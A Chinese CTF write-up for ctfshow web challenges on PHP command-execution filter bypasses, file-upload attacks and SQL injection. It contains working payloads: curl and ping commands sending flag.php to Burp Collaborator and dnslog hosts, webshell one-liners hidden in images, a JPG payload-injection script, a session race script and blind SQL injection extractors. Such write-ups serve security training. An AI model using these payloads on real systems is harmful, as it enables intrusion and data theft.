//其中-F 是带文件的形式发送post请求
//xx是上传文件的name值,flag.php就是上传的文件(我们想要的文件的名字)
//aaa是我们在bp中得到的域名地址?F=`$F `;curl -X POST -F xx=@flag.php http://aaa

//-X POST 指定 HTTP 请求的方法为 POST
//其中-F 是带文件的形式发送post请求
//xx是上传文件的name值,flag.php就是上传的文件(我们想要的文件的名字)
//aaa是我们在bp中得到的域名地址
1
?F=`$F `;curl -X POST -F xx=@flag.php  http://zmpb3hsj4xhaa43iui82s2b0xr3hr6.burpcollaborator.net

http://www.dnslog.cn/

1
?F=`$F` ;ping `awk '/flag/' flag.php`.g25cok.dnslog.cn

web-134

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。

1
/?_POST[key1]=36d&_POST[key2]=36d

web-135

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
1
2
/?F=`$F` ;cp flag.php 2.txt;
/?F=`$F` ;uniq flag.php>4.txt;

uniq命令来自于英文单词unique的缩写,中文译为独特的、唯一的,其功能是用于去除文件中的重复内容行。uniq命令能够去除掉文件中相邻的重复内容行,如果两端相同内容中间夹杂了其他文本行,则需要先使用sort命令进行排序后再去重复,这样保留下来的内容就都是唯一的了。

web-136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
1
2
3
4
5
6
7
8
/?c=ls | tee 1
访问url/xx,下载打开发现只有index.php

/?c=ls / | tee 2
访问url/aa 下载打开发现flag在f149_15_h3r3

/?c=nl /f149_15_h3r3 | tee 3
访问url/3 下载打开得到flag

tee命令的功能是用于读取标准输入的数据,将其内容转交到标准输出设备中,同时保存成文件。

web-137

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);

ctfshow=ctfshow::getflag

web-138

题目的意思是我们输入的ctfshow中不能出现冒号:

call_user_func中不但可以传字符串也可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。

1
2
call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web-139

这里注意exec与system的区别,system自带回显,而exec没有回显

对于system,可以使用

system(echo ls) //输出ls字符串

system(echo ls) //输出ls结果(要不要echo都可以)

而对于上面的两个命令,如果把system换成exec那么久不会有输出。

盲打

题目ban了写入文件的权限,所以不能用cp,没有回显了,只能开始盲注了。

利用shell编程的if判断语句配合awk以及cut命令来获取flag

cut–cut 命令从文件的每一行剪切字节、字符和字段并将这些字节、字符和字段写至标准输出。

1
2
3
4
5
6
7
8
9
注意空格
awk逐行获取数据
cat flag | awk NR==1

cut命令逐列获取单个字符
cat flag | awk NR==2 | cut -c 1

利用if语句来判断命令是否执行
if [ $(cat flag | awk NR==2 | cut -c 1)==$ ];then echo "you are right";fi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://ed303475-9f57-4eb0-acdc-36dc217f4163.challenge.ctf.show/?c="

payload = "if [ `ls / -1 | cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 4;fi"

result = "++++++++++++++"

row = 6
length = 20

strings = "qwertyuiopasdfghjklzxcvbnm_-0123456789"

for r in range(1,row):
for c in range(1,length):
for s in strings:
target = url+payload.format(c,r,s)
#print(target)
try:
requests.get(target,timeout=3)
except:
result += s
print(result)
break
result += " "

得到flag所在文件 f149_15_h3r3,接着盲注文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://6b2298ad-31ff-4378-a332-9ca05465b29f.challenge.ctf.show/?c="

payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 3;fi"

result = "++++++++++++++"

length = 48

strings = "qwertyuiopasdfghjklzxcvbnm_-0123456789"

for c in range(1,length):
for s in strings:
target = url+payload.format(c,s)
#print(target)
try:
requests.get(target,timeout=2.5)
except:
result += s
print(result)
break
result += " "

print(result)

因为过滤了{}所以会我们就不加{}出来,跑出来flag然后手动添加就可以了。

web-140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

usleep — 以指定的微秒数延迟执行,返回NULL

没有返回值,直接使其过:if(intval($code) == ‘ctfshow’)

1
2
3
4
f1=usleep&f2=usleep
空加密绕过
f1=sha1&f2=md5
f1=md5&f2=md5

web-141

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

题目用的是W,所以为不匹配,所以是一道无字母数字RCE;但是这里还有一个问题,return会中断当前字符串的解释

1
2
eval("phpinfo();return 1;");
eval("return 1;phpinfo();")

会发现第一句会执行phpinfo(),但是第二句不行,因为return后就中止了。

随意eval(“return phpinfo();”)这样可以执行,但是因为有v1和v2所以没法构造成这样。

但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。1-(‘phpinfo’)()-1;
这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)得到 (%8c%86%8c%8b%9a%92)(%8b%9e%9c%df%99%d5)
所以最终payload:

1
/?v1=1&v2=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-
1
2
1-('system')('tac *a*')-1
1-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)-1

web-142

/?v1=0

web-143

1
/?v1=1&v2=1&v3=*(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)*

web-144

/?v1=1&v3=1&v2=-(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0b%01%03%00%06%00”^”%7f%60%60%20%60%2a”)

web-145

三目运算符:

/?v1=1&v2=1&v3=?(%8c%86%8c%8b%9a%92)(%8b%9e%9c%df%99%d5):

/?v1=1&v3=|(%8c%86%8c%8b%9a%92)(%8b%9e%9c%df%99%d5)|&v2=1

web-146

/?v1=1&v3=|(%8c%86%8c%8b%9a%92)(%8b%9e%9c%df%99%d5)|&v2=1

web-147

1
2
3
4
5
6
7
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}

修正符:D 如果使用$限制结尾字符,则不允许结尾有换行;

考察点:create_function()代码注入

https://www.php.net/manual/zh/function.create-function

正则的意思是:不能出现以下划线、数字、大小写字母开头并结尾的字符串。很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。

那么如何绕过呢?在create_function的最前面或者尾部fuzz所有的ASCII字母,可以发现\是可以成功绕过的。

%5c即 \ 可以绕过正则表达式,正好\在php里代表默认命名空间,具体原理可以看下这篇文章https://paper.seebug.org/755/,这样我们就可以执行任意命令了

参考dotast师傅对\的解释:

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径即在当前的空间内调用; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径即去\这个空间调用。 如果你在其他namespace里调用系统类,必须使用绝对路径的写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/?show=echo 123;}system('tac f*');//
ctf=\create_function

结果就是:
$ctfshow('',$_GET['show']);
=>

\creat_function('','echo 123;}system('tac f*');//');
=>

function f(){
echo 123;}system('tac f*');//;}

=>
function f(){
echo 123;
}
system('tac f*');//;}

web-148

/?code=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0);

web-149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

/?ctf=index.php
show=
1=system(‘tac /ctfshow_fl0g_here.txt’);

web-150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

嗝,看到类还想利用的。。。。。。

在User-Agent写入

/?isVIP=true
ctf=/var/log/nginx/access.log&1=system(‘tac f*’);

session包含也可以

web-150_plus

session包含

__autoload — 尝试加载未定义的类(本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除

当我们使用class_exists对类进行判断的时候就会自动调用__autoload()函数

只要我们能够控制$__CTFSHOW__,那么就能控制$class,那么就能控制$class()函数了。

有QUERY_STRING和extract函数,所以我们能够覆盖$__CTFSHOW__这个变量。同时因为过滤了下划线

1
/?..CTFSHOW..=phpinfo

原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,然后对其进行类判断,就会自动调用 __autoload()函数方法,因为$CTFSHOW=phpinfo;那么就会去加载phpinfo=

文件上传

web-151

最常规的前端校验

web-153

.user.ini预解析

web-154

和上面一样,多了php的过滤,

web-156

过滤[],换成{}

web-157

过滤 ;

web-159

过滤 ( )


web-160

.user.ini:日志的包含

还是先上传.user.ini,再上传图片,图片内容为

1
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

无论是什么时候,读写数据都要想想伪协议

web-161

1
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

多加个图片头GIF89a

web-162

远程文件包含

伪协议取反

https://blog.csdn.net/Kracxi/article/details/122954230

session包含条件竞争

https://www.freebuf.com/vuls/202819.html

.user.ini

1
2
3
GIF89a

auto_prepend_file="png"

png

1
2
3
GIF89a

<?=include"/tmp/sess_daigua"?>

yu22x师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import threading

session = requests.session() //用requests.session()创建session对象,相当于创建了一个特定的会话,帮我们自动保持了cookie。
sess = 'daigua'
url1 = "http://52387704-c15c-4576-a4f1-923494c38ba2.challenge.ctf.show/"
url2 = "http://52387704-c15c-4576-a4f1-923494c38ba2.challenge.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'daigua' //指定写入的文件路径为/tmp/sess_daigua
}
cookies = {
'PHPSESSID': sess //指定session文件存储的路径是/tmp/sess_daigua
}


def write():
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
while True:
r = session.get(url2) //下次请求时,直接用到session,session.get获取,session.pop清除
if 'flag' in r.text:
print(r.text)


threads = [threading.Thread(target=write), //多线程
threading.Thread(target=read)]
for t in threads:
t.start()

web-163

…….png一上传就被删了,条件竞争被环境限制死了。这摆明了是让用vps包含。没vps,就这样。

web-164

绕过png的二次渲染,我们直接修改图片,在里面写马,用脚本防止渲染。上传之后传参下载即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>

web-165

CREATOR: gd-jpeg v1.0 (using IJG JPEG v80)

响应返回这个,就是用了二次渲染,我们下载二次渲染的图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/

$miniPayload = '<?=eval($_POST[1]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

用脚本跑完,重新上传,访问,去burp重放,找flag。

web-166

查看源代码发现只能上传zip,在正常的zip后面加一句话
然后直接文件包含就可以了

web-167

.htaccess文件,直接用php解析jpg文件。

1
2
3
4
5
6
<Files "123.png">
SetHandler application/x-httpd-php
</Files>


//AddType application/x-httpd-php .jpg

web-168

直接上传正常png,在末尾加一句话,修改名称为php,上传即可。也可以用蚁剑生成的免杀。

web-169

日志包含,上传zip,Content-Ty改为image/png,然后改名.user.ini。

接下来上传php文件就行。

最常规的文件上传。

补充

上面的内容不是很全,可以参考一下《CTFer从0到1》

SQL注入

说明:SQL注入章节只给出非常规题的WP。Sqli-labs的题都比较常规,可自行百度。

web-174

要求返回结果不能有数字,但可以把数字用replace()来把数字改成其他的东西,或者直接把返回结果打印到一个文件中,这次采用了替换的方法。

1
2
-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','numa'),'2','numb'),'3','numc'),'4','numd'),'5','nume'),'6','numf'),'7','numg'),'8','numh'),'9','numi'),'0','numj'),'a' from ctfshow_user4 where username='flag'--+

web-175

网页的返回结果不能有任何字符,可以通过上题的另一种方法,把数据写入到一个文件中

内容 into outfile ‘文件名’

1
-1' union select username,password from ctfshow_user5 where username ='flag' into outfile '/var/www/html/1.txt'--+

web-180

空白字符:%09,%0a,%0b,%0c,%0d,%20,%a0

单引号也可以闭合

web-183

regexp运算符,是正则表达式(regular expression)的缩写,正则表达式在搜索字符串时非常强大,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url='http://56b6b2c0-66ee-458a-9693-bf7fe2a97be2.challenge.ctf.show/select-waf.php'
flagstr="}{-1234567890zxcasdqwertyfghvbnuiojklmZXCVBNMASDFGHJKLQWERTYUIOP"
flag='ctfshow'
while 1:
for i in flagstr:
payload={"tableName":"(ctfshow_user)where(pass)regexp('"+flag+i+"')"}
r=requests.post(url,payload)
if "$user_count = 1;" in r.text:
flag=flag+i
print(flag)
break
if '}'in flag:
break

web-184

还是盲注,where没了,没法where like了,但是没有过滤空格,可以换成连接查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url='http://56b6b2c0-66ee-458a-9693-bf7fe2a97be2.challenge.ctf.show/select-waf.php'
flagstr="}{-1234567890zxcasdqwertyfghvbnuiojklmZXCVBNMASDFGHJKLQWERTYUIOP"
flag='ctfshow'
for i in range(9,200):
for j in flag_str:
str_16=hex(ord(j))
payload={"tableName":f"ctfshow_user as a right join ctfshow_user as b on substr(b.pass,{i},100) like {str_16}25"}
r=requests.post(url,payload)
if "$user_count = 43;" in r.text:
flag=flag+j
print(flag)
if '}'in flag:
break

web-185

用,true代替数字,true+true=2

web-186

concat()函数用于将两个字符串连接起来,形成一个单一的字符串

过滤了0-9,可以使用true拼接出数字,在使用char函数转换成字符,最后使用concat进行拼接。
比如想获取字符c,c的ascii为99
‘c’=char(concat(true+true+true+true+true+true+true+true+true,true+true+true+true+true+true+true+true+true));
当然也可以复杂一点
c=char(ture+ture+ture……) (99个true)
简单写个转换的脚本

1
2
3
4
5
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#author:yu22x
import requests
import string
url="http://955c4204-b9de-433c-931d-5f7a0d9f0c51.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break

web-187

当MD5函数的第二个参数为true时。返回的是字符串。

1
2
ffifdyop
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

md5('ffifdyop',true)= 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
会发现直接闭合掉了并且存在or,所以可以直接登录成功。

web-188

想要拿flag需要输入的密码经过intval函数后等于查询出的密码。
注意这个地方用的两个等于号。
所以只要真正的密码是字母我们就可以通过输入密码为0来绕过

1
2
username=1||1
password=0

web-189

直接盲注读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#author:yu22x
import requests
import string
url="http://d2577b14-e91d-4f5e-b23a-73ff43862cec.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
print(i)
for j in range(32,128):
#print(chr(j))
data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text): //查询失败
flag+=chr(j)
print(flag)
break

web-190

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):
#跑库名
# data={
# 'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
# 'password':'1'
# }

#跑表名
# data={
# 'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
# 'password':'1'
# }

#跑列名
# data={
# 'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑数据
data={
'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
'password':'1'
}
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break

web-191

MySQL中的ord()函数用于查找字符串中最左边的字符的代码。如果最左边的字符不是多字节字符,则返回ASCII值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url='http://423be6bc-dbc4-4b51-805e-25b8a7e24d04.challenge.ctf.show/api/'
flag=''
for i in range(1,66):
for j in range(0,128):
#payload=f"-1' or ord(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1))={j}#"
#payload=f"-1' or ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j}#"
payload=f"-1' or ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j}#"
data={"username":payload,
"password":'1'}
r=requests.post(url,data)
if r"\u5bc6\u7801\u9519\u8bef" in r.text:
flag=flag+chr(j)
print(flag)
break
if j==127:
exit()
if '}'in flag:
break

web-192

substr()

web-193

mid()

web-195

堆叠注入

1
2
1;update(ctfshow_user)set`username`=1;
1;update(ctfshow_user)set`pass`=1;

web-196

1
username=0;select(1);&password=1

web-197

1
username=1;show tables;&password=ctfshow_user

。。。

。。。。。。sql注入这东西,个人感觉除了打比赛,目前为止,只需要了解最基本的就行了吧。不管了,以后如果需要深入的话再说吧。不过你可别偷懒哦。

https://blog.csdn.net/miuzzx/article/details/125169525

https://blog.csdn.net/miuzzx/article/details/125220318

yu22x师傅的wp。